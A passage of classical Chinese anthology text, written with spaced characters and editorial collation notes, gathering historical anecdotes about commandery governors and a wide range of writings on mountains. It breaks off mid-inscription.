泉 泉 味 如 酒 . 豫 章 樟 树 生 庭 中 . 雁 门 雁 之 所 育 是 也 .\n苗 恭 十 四 州 记 曰 . 秦 兼 天 下 . 始 皇 二 十 六 年 . 废 五 等 之 爵 . 立 郡 县 之 官 . 以 公 国 为 大 郡 . 侯 伯 为 小 郡 . 大 郡 曰 守 . 小 郡 曰 尉 . 郡 之 言 君 也 . 今 之 郡 字 . 君 在 其 左 . 邑 在 其 右 . 君 为 元 首 . 邑 以 载 民 . 故 取 名 于 君 . 而 谓 之 郡 也 .\n【 箴 】 后 汉 刘 騊 駼 郡 太 守 箴 曰 . 有 嬴 除 . 焚 典 纪 旧\n. 荡 灭 蕃 畿 . 罢 侯 置 守 . 秦 发 闾 左 . 陈 涉 奋 威 . 楚 筑 干\n溪 . 灵 王 不 归 . 征 遐 由 近 . 可 不 肃 祗 . 守 臣 司 境 . 敢 告\n执 机 .\n谢 承 后 汉 书 曰 . 华 山 松 . 为 河 南 尹 . 优 贤 养 民 . 兴 教 崇 化 . 至 其 剪 治 强 宗 . 威 烈 不 亏 . 遂 见 谮 毁 .\n又 曰 . 羊 陟 . 迁 河 南 尹 . 下 车 . 计 日 受 俸 . 尝 食 干 饭 茹 菜 . 禁 断 豪 右 嘱 托 . 书 疏 不 与 交 通 . 断 理 冤 徒 . 进 用 善 士 . 节 操 者 旌 表 异 行 .\n魏 志 云 . 司 马 芝 为 河 南 尹 . 抑 强 抚 弱 . 私 请 不 行 . 芝 为 教 与 群 下 曰 . 盖 君 能 设 教 . 不 能 使 吏 必 不 犯 也 . 吏 能 犯 教 . 而 不 能 使 君 必 不 闻 也 . 夫 设 教 而 犯 . 君 之 劣 也 . 犯 教 而 闻 . 吏 之 祸 也 . 君 劣 于 上 . 吏 祸 于 下 . 此 政 事 所 以 不 理 也 . 可 不 各 勉 之 哉 .\n傅 子 曰 . 傅 嘏 为 河 南 尹 . 治 以 德 教 为 本 . 然 持 法 有 恒 . 简 而 不 可 犯 . 见 理 识 情 . 狱 讼 不 任 槚 楚 而 得 其 实 . 不 为 小 惠 . 有 所 荐 达 . 及 有 大 益 于 民 . 皆 隐 其 端 迹 . 若 不 由 己 .\n又 曰 . 乐 广 为 河 南 尹 . 郡 中 前 厅 . 多 怪 病 . 后 人 皆 于 廊 下 督 邮 传 中 治 事 . 无 敢 在 厅 事 者 . 唯 广 处 之 . 白 日 户 自 ● . 二 子 凯 横 等 慑 怖 . 广 使 掘 墙 孔 . 得 狸 乃 绝 .\n【 箴 】 后 汉 崔 骃 河 南 尹 箴 曰 . 茫 茫 天 区 . 画 冀 为 京 .\n商 邑 翼 翼 . 四 方 是 营 . 唐 虞 商 周 . 河 洛 是 居 . 成 王 郏 鄏\n. 以 处 鹑 墟 . 诸 夏 劲 强 . 是 从 是 横 . 彻 我 墙 屋 . 而 师 尹\n不 匡 . 霸 夺 其 权 . 宗 器 以 分 . 图 籍 迁 齐 . 九 鼎 入 秦 .\n又 曰 . 张 敞 守 京 兆 尹 . 尹 自 赵 广 汉 诛 后 . 皆 不 称 职 . 京 师 寝 废 . 长 安 市 偷 盗 尤 多 . 百 贾 苦 之 . 敞 既 视 事 . 求 问 长 安 偷 盗 首 长 数 人 . 居 皆 温 厚 . 出 从 僮 仆 . 闾 里 以 为 长 者 . 敞 皆 召 . 既 见 责 问 . 因 贷 其 罪 . 乃 署 吏 . 令 致 诸 偷 以 自 赎 . 为 置 酒 . 小 偷 皆 来 贺 之 . 饮 醉 . 偷 长 阴 以 赭 污 其 衣 裾 . 吏 坐 门 阅 . 赭 污 者 辄 收 之 . 一 日 捕 得 数 百 人 . 由 是 枹 鼓 希 鸣 . 市 无 偷 盗 .\n又 曰 . 王 骏 为 京 兆 尹 . 成 帝 欲 大 用 之 . 故 试 以 政 事 . 先 是 京 兆 有 赵 广 汉 张 敞 王 遵 王 章 王 骏 . 皆 有 名 . 京 师 称 曰 . 前 有 赵 张 . 后 有 三 王 .\n【 碑 】 后 汉 蔡 邕 京 兆 尹 樊 陵 碑 曰 . 于 显 哲 尹 . 诞 德 孔\n彰 . 膺 帝 休 命 . 谓 笃 不 忘 . 爰 纳 忠 式 . 规 悟 圣 皇 . 钦 崇\n园 邑 . 大 孝 允 光 . 九 命 车 服 . 昭 示 采 章 . 轩 轺 四 牡 . 承\n祀 蒸 尝 . 多 士 时 贡 . 繇 役 永 息 . 进 路 孔 夷 . 民 清 险 棘 .\n同 体 诸 旧 . 兆 萌 蒙 福 . 惠 垂 无 疆 . 守 以 罔 极 .\n晋 中 兴 书 曰 . 桓 彝 少 孤 . 家 贫 . 而 性 度 高 豁 . 不 以 箪 瓢 屑 意 . 年 在 弱 冠 . 便 有 知 人 之 鉴 . 为 宣 城 太 守 . 百 姓 怀 之 .\n沈 约 宋 书 曰 . 羊 玄 保 为 黄 门 郎 . 善 弈 棋 . 棋 品 第 三 . 太 祖 亦 好 弈 . 数 蒙 引 见 . 嘉 其 温 谨 . 与 太 祖 赌 郡 . 戏 胜 . 以 补 宣 城 太 守 .\n【 诗 】 齐 谢 朓 始 之 宣 城 郡 诗 曰 . 簪 发 逢 嘉 惠 . 教 义 承 君 子 . 心 迹 苦 未 并 . 忧 欢 将 十 祀 . 幸 沾 云 雨 庆 . 方 辔 参 多 士 . 振 鹭 徒 追 飞 . 群 龙 难 隶 齿 . 烹 鲜 止 贪 竞 . 共 理 属 廉 耻 . 伊 余 昧 损 益 . 何 用 祗 千 里 . 解 剑 北 宫 朝 . 息 驾 南 川 涘 . 宁 希 广 平 咏 . 聊 慕 华 阴 市 .\n又 宣 城 郡 内 登 望 诗 曰 . 借 问 下 车 日 . 匪 直 望 舒 圆 . 寒\n城 一 以 眺 . 平 楚 正 苍 然 . 山 积 棱 ○ 文 选\n三 十 作 陵 . 阳 阻 . 溪 流 春 谷 泉 . 威 纡 距 遥 甸 . 巉 岩\n带 远 天 . 切 切 阴 风 暮 . 桑 柘 起 寒 烟 . 怅 望 心 已 极 . 敞 恍\n魂 屡 迁 . 结 发 倦 为 侣 . 平 生 早 事 边 . 谁 规 鼎 食 盛 . 宁 要\n狐 白 鲜 . 方 弃 汝 南 诏 . ○ 文 选 作 诺 . 言\n税 辽 东 田 .\n晋 中 兴 书 曰 . 诸 葛 恢 为 会 稽 太 守 . 临 行 . 上 为 置 酒 . 谓 之 曰 . 会 稽 . 晋 之 关 中 . 足 食 足 兵 . 在 于 太 守 . 以 君 有 任 之 方 . 是 以 相 屈 . 四 方 分 崩 . 当 匡 振 否 运 . 治 之 所 先 . 君 为 言 之 . 恢 陈 谢 . 因 对 曰 . 今 天 下 丧 乱 之 余 . 风 俗 凌 迟 . 宜 尊 五 美 . 屏 四 恶 . 进 忠 实 之 士 . 退 浮 华 之 党 . 中 宗 深 纳 之 .\n又 曰 . 王 彪 之 为 镇 军 将 军 会 稽 内 史 . 加 散 骑 常 侍 . 居 郡 八 年 . 豪 强 敛 迹 . 亡 户 出 者 三 万 余 口 .\n又 曰 . 王 述 作 会 稽 太 守 . 外 白 请 讳 . 答 曰 . 惟 祖 惟 考 . 四 海 所 知 . 过 此 无 所 复 讳 .\n【 启 】 齐 谢 朓 为 王 敬 则 谢 会 稽 太 守 启 曰 . 臣 本 布 衣 .\n不 谋 远 大 . 折 冲 之 勤 不 举 . 燮 理 之 义 何 阶 . 常 恐 覆 餗 是\n贻 . 咎 征 斯 应 . 陛 下 继 历 胜 统 . 日 月 重 光 . 得 以 桓 珪 羇\n服 . 拜 奉 岁 时 . 视 濯 献 牲 . 鞠 躬 郊 庙 . 而 鸿 恩 妄 假 . 复\n授 龟 符 . 玉 节 迈 于 双 璜 . 表 东 侔 于 四 履 . 临 边 三 事 . 既\n谢 张 温 . 颖 川 再 抚 . 亦 惭 黄 霸 .\n国 语 曰 . 禹 封 九 山 . 山 者 土 之 聚 也 .\n论 语 曰 . 仁 者 乐 山 .\n春 秋 元 命 苞 曰 . 山 者 气 之 包 含 . 所 ○ 太 平 御 览 三 十 八 所 下 有 以 字 . 含 精 藏 云 . 故 触 石 布 山 .\n尔 雅 曰 . 山 西 曰 夕 阳 . 山 东 曰 朝 阳 .\n又 曰 . 山 大 而 高 曰 崧 . 山 小 而 高 曰 岑 . 多 草 木 曰 屺 . 无 草 木 曰 岵 . 石 戴 土 谓 之 崔 嵬 . 土 戴 石 为 砠 .\n礼 记 曰 . 夫 山 . 一 拳 石 之 多 . 及 其 广 大 . 草 木 生 之 . 禽 兽 居 之 . 宝 藏 兴 焉 .\n史 记 曰 . 黄 帝 东 至 于 海 . 登 丸 山 . 西 至 于 崆 峒 . 登 鸡 头 . 南 至 熊 湘 . 北 逐 獯 鬻 . 合 符 金 ○ 明 本 作 崟 . 当 作 釜 . 金 系 釜 之 坏 体 . 山 .\n蜀 王 本 纪 曰 . 天 为 蜀 王 生 五 丁 力 士 . 能 献 ○ 太 平 御 览 八 百 八 十 八 作 徙 . 山 . 秦 王 献 美 女 与 蜀 王 . 蜀 王 遣 五 丁 迎 女 . 见 一 大 蛇 入 山 穴 中 . 五 丁 并 引 蛇 . 山 崩 . 秦 五 女 皆 上 山 . 化 为 石 .\n河 图 曰 . 武 关 山 为 地 门 . 上 为 天 高 星 . 主 囹 圄 . 岐 山 在 昆 仑 东 南 . 为 地 乳 . 上 为 天 糜 星 . 汶 山 之 地 为 井 络 . 帝 以 会 昌 . 神 以 建 福 . 上 为 天 井 .\n吕 氏 春 秋 曰 . 何 谓 九 山 . 会 稽 太 山 王 屋 首 阳 山 太 华 歧 山 太 行 羊 肠 孟 门 .\n汉 名 臣 奏 曰 . 汉 得 阴 山 . 匈 奴 长 老 过 之 . 未 尝 不 哭 .\n地 镜 曰 . 入 名 山 . 必 先 斋 五 十 日 . 牵 白 犬 . 抱 白 鸡 . 以 盐 一 胜 . ○ 太 平 御 览 三 十 八 作 升 . 山 神 大 喜 . 芝 草 异 药 宝 玉 为 出 . 未 到 山 百 步 . 呼 曰 林 林 央 央 . 此 山 王 名 . 知 之 却 百 邪 .\n袁 山 松 宜 都 记 曰 . 郡 西 北 陆 行 四 十 里 . 有 丹 山 . 山 闲 时 有 赤 气 . 笼 盖 林 岭 如 丹 色 . 因 以 名 山 .\n又 曰 . 自 西 陵 东 北 陆 行 百 二 十 里 . 有 方 山 . 其 岭 四 方 . 素 崖 如 壁 . 天 清 朗 时 . 有 黄 影 似 人 像 . 山 上 有 神 祠 场 . 特 生 一 竹 . 茂 好 . 其 摽 垂 场 中 . 场 中 有 尘 埃 . 则 风 起 动 此 竹 . 拂 去 如 洒 扫 者 .\n盛 弘 之 荆 州 记 曰 . 宜 都 西 陵 峡 中 . 有 黄 牛 山 . 江 湍 纡 回 . 途 经 信 宿 . 犹 望 见 之 . 行 者 语 曰 . 朝 发 黄 牛 . 暮 宿 黄 牛 . 三 日 三 暮 . 黄 牛 如 故 .\n又 曰 . 桂 阳 郡 西 南 五 十 里 . 有 万 岁 山 . 有 石 室 钟 乳 . 山 上 悉 生 灵 寿 木 .\n又 曰 . 武 陵 舞 阳 县 . 有 淳 于 白 雉 二 山 . 在 宁 州 武 陵 二 界 畔 . 绝 壑 之 半 . 有 一 石 雉 . 远 望 首 尾 . 可 长 二 丈 . 申 足 翔 翼 . 若 虚 中 翻 飞 . 颈 缀 着 石 .\n又 曰 . 衡 山 有 三 峰 极 秀 . 一 峰 名 紫 盖 .\n又 曰 . 宜 都 夷 道 县 西 南 九 十 里 . 有 望 州 山 . 四 面 壁 立 . 登 此 见 一 州 内 . 东 有 涌 泉 . 欲 雨 . 辄 有 赤 气 . 故 名 丹 水 .\n又 曰 . 宜 都 宜 昌 县 三 峡 七 百 里 . 两 岸 连 山 . 略 无 绝 处 . 渔 者 歌 曰 . 巴 东 三 峡 巫 峡 长 .\n荆 南 图 制 ○ 当 作 副 . 本 卷 石 篇 引 书 有 荆 州 图 副 . 曰 . 宜 都 夷 陵 县 东 六 十 里 . 南 岸 有 荆 门 山 . 北 有 虎 牙 . 二 山 相 对 . 虎 牙 有 石 壁 . 其 文 黄 赤 . 又 似 虎 牙 形 . 荆 门 山 上 合 下 空 . 有 若 门 象 .\n又 曰 . 邓 城 西 七 里 . 有 作 乐 山 . 诸 葛 亮 常 登 此 山 . 为 梁 甫 吟 .\n又 曰 . 襄 阳 郡 中 庐 县 西 百 三 十 里 . 有 马 穴 山 . 傍 有 一 地 道 . 云 汉 时 有 马 出 其 中 . 事 具 马 部 .\n又 曰 . 宜 都 夷 陵 县 西 八 十 里 . 有 高 筐 山 . 古 老 相 传 . 尧 时 大 水 . 此 山 不 没 . 如 筐 篚 . 因 以 为 名 .\n又 曰 . 巴 东 昆 阳 县 东 南 十 里 . 有 柏 枝 山 . 有 石 泉 . 口 方 数 丈 . 中 有 鱼 .\n又 曰 . 宜 都 夷 道 县 北 . 有 女 观 山 . 昔 有 思 妇 . 登 山 绝 望 . 怀 思 而 死 . 葬 之 山 顶 . 山 遂 枯 悴 . 因 以 名 山 .\n庾 仲 雍 湘 中 记 曰 . 桂 阳 郴 县 东 北 五 里 . 有 马 岭 山 . 高 六 百 余 丈 . 苏 所 栖 游 处 . 因 而 得 仙 . 后 有 见 乘 白 马 . 还 此 山 中 . 世 因 名 为 马 岭 .\n晏 子 春 秋 曰 . 齐 景 公 召 群 臣 问 曰 . 天 不 雨 久 矣 . 民 有 饥 色 . 吾 卜 祟 在 高 山 广 泽 . 寡 人 欲 祠 灵 山 . 可 乎 . 晏 子 曰 . 夫 灵 山 . 因 以 石 为 身 . 以 草 木 为 毛 发 . 天 久 不 雨 . 发 将 焦 . 身 将 热 . 独 不 欲 雨 乎 . 祠 之 何 益 .\n淮 南 子 曰 . 牛 蹄 之 涔 . 无 尺 之 鲤 . 颓 府 之 山 . 无 丈 之 材 . 所 以 然 者 何 也 . 皆 其 营 守 狭 小 . 而 不 能 容 巨 大 .\n韩 诗 外 传 曰 . 仁 者 何 以 乐 山 . 山 者 万 物 之 所 瞻 仰 也 . 草 木 生 焉 . 万 物 殖 焉 . 飞 鸟 集 焉 . 走 兽 休 焉 . 吐 生 万 物 而 不 私 焉 . 出 云 导 风 . 天 地 以 成 . 国 家 以 宁 . 此 仁 者 所 以 乐 山 .\n张 璠 汉 记 曰 . 梁 冀 聚 土 筑 山 . 十 里 九 阪 . 以 象 二 崤 . 穷 极 工 巧 . 积 金 玉 明 珠 . 充 牣 其 中 .\n相 冢 书 曰 . 青 乌 子 称 . 山 望 之 如 却 月 形 . 或 如 覆 舟 . 葬 之 出 富 贵 . 山 望 之 如 鸡 栖 . 葬 之 灭 门 . 山 有 重 叠 . 望 之 如 鼓 吹 楼 . 葬 之 连 州 二 千 石 .\n游 名 山 志 曰 . 玉 溜 山 . 一 名 地 肺 山 . 一 名 浮 山 .\n魏 志 曰 . 明 帝 錾 太 行 山 之 石 英 . 采 谷 城 之 文 石 . 起 景 阳 山 于 芳 林 园 .\n王 韶 之 始 兴 记 曰 . 郡 东 有 玉 山 . 草 木 滋 茂 . 泉 石 澄 润 .\n邓 德 明 南 康 记 曰 . 平 固 县 覆 笥 山 . 上 有 笥 . 贮 玉 牒 记 . 故 山 因 笥 为 名 焉 .\n【 诗 】 晋 庾 阐 登 楚 山 诗 曰 . 拂 驾 升 西 岭 . 寓 目 临 浚 波 . 想 望 七 德 耀 . 咏 此 九 功 歌 . 龙 驷 释 阳 林 . 朝 服 集 三 河 . 回 首 盼 宇 宙 . 一 无 济 邦 家 .\n晋 王 凝 之 妻 谢 氏 诗 曰 . 峨 峨 东 岳 高 . 秀 极 冲 清 天 . 岩 中 闲 虚 宇 . 寂 漠 幽 以 玄 . 非 工 复 非 匠 . 云 构 发 自 然 . 器 象 尔 何 物 . 遂 令 我 屡 迁 . 逝 将 宅 斯 宇 . 可 以 尽 天 年 .\n宋 孝 武 游 覆 舟 山 诗 曰 . 束 发 好 怡 衍 . 弱 冠 颇 流 薄 . 素 想 终 勿 倾 . 聿 来 果 丘 壑 . 曾 峰 亘 天 维 . 旷 渚 绵 地 络 . 逢 皋 列 神 苑 . 遭 坛 树 仙 阁 . 松 墱 含 青 晖 . 荷 源 煜 彤 烁 . 川 界 泳 游 鳞 . 岩 庭 响 鸣 鹤 .\n又 登 作 乐 山 诗 曰 . 脩 路 轸 孤 辔 . 竦 石 顿 飞 辕 . 遂 登 千 寻 首 . 表 里 望 丘 原 . 屯 烟 扰 风 穴 . 积 水 漏 云 根 . 汉 潦 吐 新 波 . 楚 山 带 旧 苑 . 壤 草 凌 故 国 . 拱 木 秀 颓 垣 . 目 极 情 无 届 . 客 思 空 已 繁 .\n又 登 鲁 山 诗 曰 . 解 帆 憩 通 渚 . 息 徒 凭 椒 丘 . 粤 值 风 景 和 . 升 高 从 远 眸 . 纪 ● 穷 西 路 . 湘 梦 极 南 流 . 杳 哉 汉 阴 水 . 浩 焉 江 界 脩 . 宋 谢 灵 运 往 北 山 经 湖 中 诗 曰 . 石 横 水 分 流 . 林 密 蹊 绝 踪 . 初 篁 笣 绿 箨 . 新 蒲 合 紫 茸 . 海 鸥 戏 春 岸 . 天 鸡 弄 和 风 .\n宋 宗 炳 登 白 鸟 山 诗 曰 . 我 徂 白 鸟 山 . 因 名 感 昔 拟 . 仰 升 数 百 仞 . 俯 览 眇 千 里 . 杲 杲 群 木 分 . 岌 岌 众 峦 起 .\n又 登 半 石 山 诗 曰 . 清 晨 陟 阻 崖 . 气 志 洞 萧 洒 . 嶰 谷 崩 地 幽 . 穷 石 凌 天 委 . 长 松 列 竦 肃 . 万 树 巉 岩 诡 . 上 施 神 农 萝 . 下 凝 尧 时 髓 .\n齐 谢 朓 和 王 着 作 登 八 公 山 诗 曰 . 东 限 琅 台 . 西 距 孟 诸 陆 . 阡 眠 起 杂 树 . 檀 栾 阴 脩 竹 . 日 隐 澜 疑 空 . 云 聚 岫 如 复 . 出 没 眺 楼 雉 . 远 近 送 春 目 .\n又 游 敬 亭 山 诗 曰 . 兹 山 亘 百 里 . 合 沓 与 云 齐 . 上 干 蔽 白 日 . 下 属 带 回 溪 . 交 藤 荒 且 蔓 . 樛 枝 耸 复 低 . 独 鹤 方 朝 唳 . 饥 鼯 此 夜 啼 . 泄 云 已 漫 漫 . 多 雨 亦 凄 凄 .\n梁 沈 约 游 金 华 山 诗 曰 . 远 策 追 夙 心 . 灵 山 协 久 要 . 天 倪 临 紫 阙 . 地 道 通 丹 窍 . 未 乘 琴 高 鲤 . 且 纵 严 陵 钓 . 若 蒙 羽 驾 迎 . 得 奉 金 书 召 . 高 驰 入 阊 阖 . 方 睹 灵 妃 笑 .\n又 留 真 人 东 山 还 诗 曰 . 连 峰 竟 无 已 . 积 翠 远 微 微 . 寥 戾 野 风 急 . 芸 黄 秋 草 肥 . 我 来 岁 云 暮 . 于 此 怅 怀 归 . 霜 雪 方 共 下 . 宁 止 露 沾 衣 . 待 余 两 歧 秀 . 去 去 掩 柴 扉 .\n梁 范 云 登 三 山 诗 曰 . 仄 迳 崩 且 危 . 丛 岩 竦 复 垂 . 石 藤 多 卷 节 . 水 树 饶 蟠 枝 . 海 中 昔 自 重 . 江 上 今 如 斯 .\n梁 江 淹 历 山 诗 曰 . 愁 生 白 露 日 . 思 起 秋 风 年 . 窃 悲 杜 蘅 暮 . 揽 涕 即 空 山 . 落 叶 下 楚 水 . 别 鹤 噪 吴 田 . 嶂 气 阴 不 极 . 日 色 半 亏 天 . 酒 至 情 萧 瑟 . 凭 还 悯 然 .\n又 游 黄 檗 山 诗 曰 . 长 望 竟 何 极 . 闽 云 连 越 边 . 南 州 饶 奇 怪 . 赤 县 多 灵 仙 . 金 峰 各 亏 日 . 铜 石 共 临 天 . 阳 岫 沼 鸾 来 . 阴 溪 喷 龙 泉 . 鸡 鸣 丹 壁 上 . 猿 啸 青 崖 闲 .\n梁 任 昉 奉 和 登 影 阳 山 诗 曰 . 物 色 感 神 游 . 升 高 怅 有 阅 . 南 望 铜 驼 街 . 北 走 长 楸 埒 . 别 涧 苑 沧 溟 . 疏 山 驾 瀛 碣 . 奔 鲸 吐 华 浪 . 司 南 动 轻 枻 . 日 下 重 门 照 . 云 关 九 华 澈 . 观 阁 隆 旧 恩 . 奉 图 愧 前 哲 .\n梁 庾 肩 吾 游 甑 山 诗 曰 . 去 子 平 已 久 . 余 风 今 复 追 . 未 必 游 春 草 . 王 孙 自 不 归 . 寒 云 闲 石 起 . 秋 叶 下 山 飞 .\n周 王 褒 明 庆 寺 石 壁 诗 曰 . 夏 水 悬 台 际 . 秋 泉 带 雨 余 . 石 生 铭 字 长 . 山 久 谷 神 虚 .\n又 云 居 寺 高 顶 诗 曰 . 中 峰 云 已 合 . 绝 顶 日 犹 晴 . 邑 居 随 望 近 . 风 烟 对 眼 生 .\n周 庾 信 陪 驾 幸 终 南 山 诗 曰 . 玉 山 乘 四 载 . 瑶 池 宴 八 龙 . 鼋 桥 浮 少 海 . 鹄 盖 上 中 峰 . 飞 狐 横 塞 路 . 白 马 当 河 冲 . 水 奠 三 川 后 . 山 封 五 树 松 . 长 虹 双 瀑 布 . 圆 阙 两 芙 蓉 . 戍 楼 鸣 夕 鼓 . 山 寺 响 晨 钟 . 新 蒲 节 转 促 . 短 箨 犹 重 . 树 宿 含 樱 鸟 . 花 留 酿 蜜 蜂 . 迎 风 下 列 缺 . 酾 酒 召 昌 容 . 且 欣 陪 北 上 . 方 欲 待 东 封 .\n陈 张 正 见 赋 得 山 卦 名 诗 曰 . 蓬 莱 遁 羽 客 . 岩 穴 转 蒙 笼 . 云 归 仙 井 暗 . 雾 解 石 桥 通 . 影 带 临 峰 鹤 . 形 随 杂 雨 风 . 寻 师 不 失 路 . 咸 欲 驭 飞 鸿 .\n【 赋 】 魏 刘 桢 黎 阳 山 赋 曰 . 自 魏 都 而 南 迈 . 迄 洪 川 以 朅 休 . 想 王 旅 之 旌 旄 . 望 南 路 之 遐 脩 . 御 轻 驾 而 西 徂 . 过 旧 坞 之 高 区 . 尔 乃 逾 峻 岭 . 超 连 罡 . 一 登 九 息 . 遂 臻 其 阳 . 南 荫 黄 河 . 左 覆 金 城 . 青 坛 承 祀 . 高 碑 颂 灵 . 珍 木 骈 罗 . 奋 华 扬 荣 . 云 兴 风 起 . 萧 瑟 清 泠 . 延 首 南 望 . 顾 瞻 旧 乡 . 桑 梓 增 敬 . 惨 切 怀 伤 . 河 源 汩 其 东 游 . 阳 鸟 飘 而 南 翔 . 睹 众 物 之 集 华 . 退 欣 欣 而 乐 康 .\n晋 潘 岳 登 虎 牢 山 赋 曰 . 辞 京 辇 兮 遥 迈 . 将 远 游 兮 东 夏 . 朝 发 轫 兮 帝 墉 . 夕 结 轨 兮 中 野 . 凭 脩 阪 兮 停 车 . 临 寒 泉 兮 饮 马 . 眷 故 乡 之 辽 隔 . 思 纡 轸 以 郁 陶 . 步 玉 趾 以 升 降 . 凌 汜 水 而 登 虎 牢 . 览 河 洛 之 二 川 . 眺 成 平 之 双 皋 . 崇 岭 驫 以 崔 崒 . 幽 谷 豁 以 窙 寥 . 路 逶 迤 以 迫 隘 . 林 廓 落 以 萧 条 . 尔 乃 仰 荫 嘉 木 . 俯 藉 芳 卉 . 青 烟 郁 其 相 望 . 栋 宇 懔 以 鳞 萃 . 彼 登 山 而 临 水 . 因 先 之 所 哀 . 矧 去 乡 而 离 家 . 邈 长 辞 而 远 乖 . 望 归 云 以 叹 息 . 肠 一 日 而 九 回 . 良 劳 者 之 咏 事 . 爰 寄 言 以 表 怀 .\n晋 郭 璞 巫 咸 山 赋 曰 . 盖 巫 咸 者 . 实 以 鸿 术 . 为 帝 尧 医 . 生 为 上 公 . 死 为 贵 神 . 岂 封 斯 山 . 而 因 以 名 之 乎 . 伊 巫 咸 之 名 山 . 崛 孤 停 而 嵥 峙 . 体 岑 峭 以 隆 颓 . 冠 崇 岭 以 峻 起 . 配 华 霍 以 助 镇 . 致 灵 润 乎 百 里 . 尔 乃 寒 泉 悬 涌 . 浚 湍 流 带 . 林 薄 丛 茏 . 幽 蔚 隐 蔼 . 八 风 之 所 归 起 . 游 鸟 之 所 喧 会 . 潜 瑕 石 . 杨 兰 茞 . 回 翔 鹓 集 . 凌 鷮 鹪 翳 . 禽 鸟 阳 以 晨 鸣 . 熊 虎 窟 阴 而 夕 ● .\n梁 江 淹 江 上 之 山 赋 曰 . 桂 青 萝 兮 万 仞 . 丹 石 兮 百 重 . 百 重 兮 岩 崿 . 如 斫 兮 如 削 . 波 潮 兮 吐 纳 . ● 岸 兮 积 沓 . 见 红 草 之 交 生 . 眺 碧 树 之 四 合 . 草 自 然 而 千 华 . 树 无 情 而 百 色 . 嗟 世 道 之 异 兹 . 牵 忧 患 而 来 逼 .\n梁 吴 均 八 公 山 赋 曰 . 峻 极 之 山 . 蓄 圣 表 仙 . 南 参 差 而 望 越 . 北 逦 迤 而 怀 燕 . 尔 其 盘 桓 基 固 . 含 阳 藏 雾 . 绝 壁 险 . 层 岩 回 互 . 桂 皎 月 而 常 团 . 云 望 空 而 自 布 . 袖 以 华 阆 . 带 以 潜 淮 . 文 星 乱 石 . 藻 日 流 阶 . 若 夫 神 基 巨 镇 . 卓 荦 荆 河 . 箕 风 毕 雨 . 育 岭 生 峨 . 高 岑 直 兮 蔽 景 . 脩 阪 出 兮 架 天 . 似 迎 云 而 就 日 . 若 从 汉 而 回 山 . 露 泫 叶 而 原 净 . 花 照 矶 而 岫 鲜 . 促 嶂 万 寻 . 平 崖 亿 绝 . 上 被 紫 而 烟 生 . 傍 带 花 而 来 雪 . 维 英 王 兮 好 仙 . 会 八 公 兮 小 山 . 驾 飞 龙 兮 翩 翩 . 高 驰 翔 兮 冲 天 .\n陈 张 正 见 山 赋 曰 . 何 神 山 之 峻 美 . 谅 苞 结 之 所 成 . 东 垂 曰 泰 . 南 服 称 衡 . 西 戎 所 擅 . 北 狄 摽 名 . 于 是 尧 值 洪 流 . 滔 天 襄 陵 . 禹 敷 水 土 . 奠 高 槎 木 . 众 川 既 导 . 群 岳 自 脩 . 潜 通 四 渎 . 镇 压 九 川 . 森 罗 辰 象 . 吐 吸 云 雾 . 深 不 可 测 . 远 不 可 步 . 于 廓 灵 山 . 长 为 作 固 . 尔 其 为 状 也 . 则 武 当 太 和 . 武 功 太 白 . 昆 仑 五 门 . 扶 宁 三 石 . 峰 高 一 万 . 峭 峙 三 百 . 登 而 眺 之 . 则 千 里 无 极 . 俯 而 临 之 . 则 万 仞 难 测 . 映 白 鹤 而 同 高 . 混 青 天 而 共 色 .\n晋 潘 尼 西 ○ 北 堂 书 钞 一 百 四 十 一 . 一 百 五 十 七 . 初 学 记 二 十 四 作 恶 . 道 赋 曰 . 异 山 河 之 岨 阨 . 倦 关 谷 之 盘 纡 . 车 低 佪 于 潜 轨 . 马 侘 傺 于 险 涂 . 狗 肘 还 勾 . 羊 角 互 戾 . 葂 窟 连 投 . 十 数 亿 计 . 石 子 之 涧 . 坎 陷 之 穴 . 支 体 为 之 危 竦 . 形 骸 为 之 疲 曳 . 此 亦 行 者 之 艰 难 . 羁 旅 之 困 毙 . 若 其 名 阪 . 则 羊 羹 八 特 . 成 皋 黄 马 . 回 波 激 浪 . 飞 沙 飘 瓦 . 马 则 顿 踬 狼 傍 . 虺 颓 玄 黄 . 牛 则 体 疲 力 竭 . 损 食 丧 肤 . 尳 蹄 穿 领 . 摩 髋 脱 躯 .\n【 吟 】 晋 夏 侯 湛 山 路 吟 曰 . 夙 驾 兮 待 明 . 陟 山 路 兮 遐 征 . 冒 晨 朝 兮 入 大 谷 . 道 逶 迤 兮 岚 气 清 . 揽 辔 兮 抑 马 . 踟 蹰 兮 旷 野 . 旷 野 ● 兮 辽 落 . 崇 岳 兮 嵬 崿 . 丘 陵 兮 连 离 . 卉 木 兮 交 错 . 渌 水 兮 长 流 . 惊 涛 兮 拂 石 .\n宋 谢 庄 山 夜 忧 曰 . 庭 光 尽 . 山 明 归 . 流 风 乘 轩 卷 . 明 月 缘 河 飞 . 涧 鸟 鸣 兮 夜 蝉 清 . 橘 露 靡 兮 蕙 烟 轻 . 凌 别 浦 兮 值 泉 跃 . 经 乔 林 兮 遇 猿 惊 . 南 皋 别 鹤 伫 行 汉 . 东 邻 孤 管 入 青 天 . 沉 痾 白 发 共 急 日 . 朝 露 过 隙 讵 赊 年 . 年 去 兮 发 不 还 . 金 膏 玉 液 岂 留 颜 . 回 舲 拓 绳 户 . 收 桌 掩 荆 关 .\n【 赞 】 晋 庾 肃 之 山 赞 曰 . 悬 岩 杳 翳 . 神 明 攸 居 . 官 府 风 云 . 怀 吐 川 渠 . 昆 阆 天 竦 . 五 岳 云 停 . 飞 峰 紫 蔚 . 辰 秀 太 清 .\n晋 戴 逵 山 赞 曰 . 蔚 矣 名 山 . 亭 亭 洪 秀 . 并 基 二 仪 . 峣 嶕 云 构 . 嵯 峨 积 岨 . 寥 笼 虚 岫 . 轻 霞 仰 拂 . 神 泉 旁 漱 . 曰 仁 奚 乐 . 希 静 此 寿 .\n晋 郭 璞 炎 山 赞 曰 . 木 含 阳 气 . 精 构 则 燃 . 焚 之 无 尽 . 是 生 火 山 . 理 见 乎 微 . 其 妙 在 传 .\n【 铭 】 晋 张 载 剑 阁 铭 曰 . 岩 岩 梁 山 . 积 石 峨 峨 . 远 属 荆 衡 . 近 缀 岷 嶓 . 南 通 邛 僰 . 北 达 褒 斜 . 狭 过 彭 碣 . 高 逾 嵩 华 . 惟 蜀 之 门 . 作 固 作 镇 . 是 曰 剑 阁 . 壁 立 千 仞 . 穷 地 之 险 . 极 路 之 峻 . 世 浊 则 逆 . 道 清 斯 顺 . ● 由 往 汉 . 开 自 有 晋 . 秦 得 百 二 . 并 吞 诸 侯 . 齐 得 十 二 . 田 生 献 筹 . 矧 兹 狭 隘 . 土 之 